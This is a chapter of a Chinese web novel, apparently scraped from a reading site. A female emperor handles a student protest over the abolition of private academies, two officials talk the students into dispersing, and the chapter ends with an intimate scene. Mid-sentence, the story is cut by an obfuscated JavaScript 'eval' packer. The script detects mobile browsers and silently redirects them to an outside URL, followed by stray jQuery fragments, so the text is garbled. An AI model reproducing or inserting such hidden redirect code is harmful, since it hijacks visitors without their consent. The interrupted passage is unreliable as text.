166. 新科(中)

作品:《金华风月

    进宫这两人可都是今年的考官。


    皇帝大步跨进过台阶,一挥手叫人全免了礼:“都进来说,如期,安排茶点。”


    “是。”如期瞧这风声也不大对,忙忙一躬身退下去,又叫了几个人一同预备茶点。


    “坐下说。”皇帝一指下首两边椅子,“是科举有关?”


    陈德全便与李明珠对视了一眼。


    看来颇有些难言。皇帝略一挑眉,能是什么事,这二位不说胆大包天至少也是说得上是敢问天命的也觉难言。


    两人眼色交流了片刻,才是陈德全往前半步道:“是……也不是,陛下,此次是不少举子往国子监抗议撤私学。”


    人是科举的人,事倒不是当科的事。


    “此事也有一两年了,缘何今日才发作?”


    陈德全便不由得苦笑:“因前两年非春闱之年,举子们多是远地而来,没甚盘缠。”


    这可真是……


    “今年恰恰好给这群学生聚一起了?”皇帝一边眉毛高高挑起,也哼了一声,“撤私学,而后呢?”


    “是……撤私学,禁了私讲,学生们以为这是独断之行。”


    皇帝忍不住偏了偏脑袋,睁着眼睛道:“天子不就是乾纲独断的么?”


    今儿也不是第一天啊!


    这两个考官给皇帝这下逗得忍不住笑了笑,还是李明珠“咳咳”两声才正色道:“是学生们以为这是朝中新党蒙蔽圣听,在国子监请愿要求重开私讲风气。”


    “既然不认同朝纲,便令他们回家不要考了,横竖今年题目也就是那些,他们还想作什么考卷?同往年似的说一通各安其位的大道理么?一群不事生产的小儿,一没种过地二没经过商的,只听几个老儒讲了几句大道理便信以为真,”皇帝摆摆手,“你二人照常主持科举,此事令皇城司去查,务必将肇始者正法,以儆效尤。”


    能让这么多学生一日内齐聚国子监抗议同一件事,背后定有煽动。


    至于是谁在煽动……用脚趾头也能想到,无非是被吃了私学田产的那一帮人。


    早知道就该同崔氏一般,安一个罪名全斩干净,后头便是要翻案也起不了多大水花。


    “陛下。”


    这两人一步也不动。


    “陛下。”


    “还有事奏?”


    “陛下,皇城司毕竟是守卫京师城防……”李明珠斟酌起词句来,“此事要如何查?科举当下对学生动兵恐怕引起震动……”


    陈德全也颇不赞同,顺着李明珠话头补道:“皇城司要查必然抓捕学生讯问,届时用刑逼供也未可知,国子监门前举子大多年轻,况且此次还连带不少国子监生员一同,出动兵马必然引发学生震荡,而今距离开科不过三日,臣不敢附议。”


    “若不出兵马,如何令他们回家去?”皇帝笑了一声,“你二人也去讲一番大道理么?这些学生与地里的农人可不一样,农人多是为了稻麦桑榆才来闹一闹,官府出面保了田产也便罢了,学生是认死理的,今日出兵是败笔,不出兵更是败笔。”


    “陛下,臣愿往一试。”李明珠撩袍跪下,“李祭酒今日闭门不出,学生们聚集监舍,总该有人出面劝解,臣是今年主考官,臣该去见见学生。”


    他两手拖在皇帝脚踝上,仰头道:“陛下,他们还是学生,书生意气有之,年轻气盛有之,少不更事有之,但无论如何学生不该见兵戎。一旦皇城司出兵,难免不出伤亡,臣不忍见年轻学生为此不值当事错失科举。”


    皇帝眼神下移,看着李明珠,缓慢眨了一下眼皮。殿中静寂,乃至还能听清外头宫人轻手轻脚点起灯火那点噼啪声响。


    他今日如此求情,是因为他也曾是气盛的年轻学生么?她忽而随着外头灯火摇曳,身子微微晃了一下。


    李明珠也仰起头直视皇帝眼睛:“陛下。”


    过了片刻,陈德全也直直跪下,手握笏板道:“臣附议李仆射,望陛下恩准。”


    皇帝目光便在她二人间游移。


    这当然不是最高效的法子,甚至能否奏效也尚不可知。但若出兵戎,确要大伤学生元气。敌暗我明,是被动局面。


    进退维谷。


    “只此一次,你去试试吧,劝劝学生。”过了好半晌,皇帝才终于点了头,“今晚未时前仍不能退,朕只好令皇城司前往镇压了。要么老实回会馆客栈备考,要么回家,没有第三条路。”


    李明珠脸上终于有了几分喜色,与陈德全一拜到底道:“谢陛下!”


    皇帝微笑,扶了二人起身,略送了几步出殿:“你们也小心些,别教伤着了。”


    “是。”李明珠转头轻声道,微抬起眼看向皇帝,不期与她对上视线,又慌忙垂下眼帘,“臣等先去了。”


    “嗯,去吧。”皇帝在丹陛上站定了,瞧着两人转身步下台阶。


    天色已暗下来了,天际从青黛沉为了浓重的紫,铺染在皇城上空,映得几点星子越发醒目。


    又是个月黑风高之夜。


    陈德全瞧着路尽头一片火光,忽而笑道:“说来下官是自山南道会试入京,未曾在国子监就读,今日却要来国子监劝学生。听闻大人曾是国子监生员,国子监也如外头一般授四书五经么?”


    “国子监……”李明珠想起什么似的,也微笑起来,“国子监师傅们各有所长,生员要熟习君子六艺,还要为科举准备,也有些师傅……”


    他轻轻顿了一下,才继续道:“也有些师傅重实务,讲授策论时总要问学生此议如何落定,市中如何宣讲,我就读时,策论一科是江老学士主讲……”


    “可是江暄江温玉老学士?”陈德全大惊,“陛下恩师那位?”


    李明珠微微颔首:“正是江老学士。”


    若非是她请江老学士回馆授课,也未必……未必与她相识。李明珠眼睫微微颤抖了一下,才又笑道:“江老学士注重实务,学生们私下常呼作鸡蛋学士。”


    陈德全睁大眼睛:“这是为何?”


    “因江老学士授课之时常问学生,‘今日鸡蛋几钱’?不但要问价钱,还要问此价从何处得来,是东城还是西城,京中还是京郊,以市中物价推学生上市集体察真实民情而非坐论空谈。”李明珠笑道,“偶有问羊杂几钱、大葱几钱的,只是鸡蛋最常问。”


    “这是民生大计啊……”陈德全轻轻摇头,“怪道说国子监是天下生员之本,授业已较地方学塾远见许多了。”


    车已近地,李明珠先下了车,与陈德全相扶着往前走。京城春短,这才入春不多久,下过这几场雨,春闱一结束,京城春天也跟着就走了。


    “推国子监授业往地方上去,不就是我等该为之事么?”他轻声笑道,“引导学生走入正途,也是我等前人之责啊。”


    陈德全也笑:“我等这一把年纪,还要瞧着这一科能不能后继有人哪……”


    这两人走得不快,才下过几场春雨,京城里头石砖路难免地滑。


    法兰切斯卡远远在后头瞧着,只见这两人到了地方,随从便开始高呼:“李仆射、陈尚书到!”尔后又是一路的“肃静”“回避”。


    这回便有学生先围上去高呼起“子产不毁乡校”了。


    “子产不毁乡校是什么?我听学生都在说。”法兰切斯卡想了半天没想明白,“这和他们闹事有什么关系?”


    希形在一旁听了,笑道:“大人有所不知,此典出《左传》,然明问子产,不让人私下议论时事,把议论的地方毁掉行不行呢,子产就说,不行,如果平时议论,我听到了,那么就可以及时改正,如果端了地方,听不到议论,就会一错再错酿成大祸,所以不应该端了这种地方。”


    皇帝挑眉瞧了希形一眼。


    年轻人难得展露了些笑意,瞧着很有几分光采。


    “你解释得好,通俗易懂。”皇帝笑道,“他一下就听明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006234|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白了。”


    希形笑道:“陛下谬赞。臣侍不过卖弄了一番,陛下别取笑臣侍啊。”


    “朕哪里取笑你?”皇帝搂着小郎君,捏了捏他脸颊——小郎君不知不觉间长了年纪,脸上早没肉了,“你读过书,也不值得取笑呢。”


    “臣侍总不是想着,男儿无才便是德,”希形顺着皇帝动作微微松开衣襟,瞧得法兰切斯卡浑身刺挠。


    妖精一皱眉,往后退了两步才继续道:“然后李明珠就开始陈情演说了。”


    “哦?他说了些什么?”


    李明珠安抚起学生,与陈德全相扶登上台阶高处才朗声道:“乡校未毁,不过改为公学!议论臧否未为禁也!私学侵田者众,收为公学不过约其田产,阻其以私学供给之名,借利学减税之策,行饱仓肥私之实;公学推办,虽身在乡野而与国子监同课授业,大兴义塾,更是令农商者知方识礼!


    “我等读书士人,所求不过春和景明时,冠者童子着春服,浴沂而风舞雩,造此清平世总需功名,而功名之事全在春闱,回馆吧,预备春闱,与圣上当面奏对,臧否达于天听,学力致于实践,则成者远高于此呼号!”


    至于圣人预备了皇城司兵马在后,还是不令学生知晓得好。


    为政者多凉薄。取舍之间,好谋无断之人从来败于计,非心定情冷者不可决胜。


    学生们还年轻。


    他看着台阶下清一色的方巾。年轻学生打扮,儒巾襴衫方舄,国子监生员如是,地方上举子亦如是。孔圣人云有教无类,放在当下,便是要尽力保住此间每一人。


    学生们略略静下。


    陈德全见这番话有些效果,便笑道:“会试不过三日而后,三日会试,七日殿选,若得入仕途,才是行学力致于用物时。或会试时,本官与尔等堂上相见。”


    她往远望了一眼。


    皇城司兵马已远远候命了,见她抬头,又缓缓退入巷尾阴影。


    圣人向来是两手准备。若她与李端仪今日落空,后事如何……确难想见。


    “方今者春闱为上,先回馆备考,来日再行上书奏对不迟。”李明珠也道,“勿要再行此议。”


    他缓缓松了一口气。若学生执意不退,尚不知后事如何。当下能略缓局面也是好事。春闱而后,放榜传胪披红游街,也便能分化出学生来了。


    “既然如此,我等回馆静候会试。”人群中一人率先高声道,“中榜后致力于践行心中之道,才是要义。”


    李明珠往下瞥了一眼,这人生得白净方脸,貌不惊人,衣装亦不过生员襴衫而已,唯独身姿笔挺,中气十足,声若洪钟,很有气势。


    她这下当先一呼,给了些人后退的底气,不少学生已缓缓散开。


    只是,不审问学生,究竟从何处抓出这帮在背后挑唆之人杀鸡儆猴呢?


    皇帝捧着手中建盏,那乳白茶汤已凉透了也未见汤面低下一厘。


    “陛下,是就寝时辰了。”希形轻声试探道,“人日出而作日落而息,夜中不是时候,想来睡一觉明早便有法子了。”


    皇帝这才抬起眼来。


    希形只是一面地笑:“臣侍虽不知陛下忧虑为何,到底总不休息于圣体无益,天色已晚,陛下,先就寝吧。”


    “从前不知你体贴。”皇帝放了茶盏起身笑道。


    希形缓缓贴上皇帝,屏着呼吸磨蹭起她耳畔颈侧:“陛下不解臣侍的多着呢,臣侍可也不是什么都不懂……”


    他压低了声音,轻轻吹起皇帝鬓角碎发来:“是陛下不关注臣侍罢了,陛下……臣侍可一直都在一边守着陛下呢……”


    这倒像个仪态万千的贵君了,不似个管家公。


    皇帝略一挑眉笑道:“倒是朕的不是了,撇下你这么个可人儿没理会,全白费了你一番情意。”


    她一转身,手指拂过希形袖口,牵连着人便往后殿去:“只不知公子体贴到几何呢……”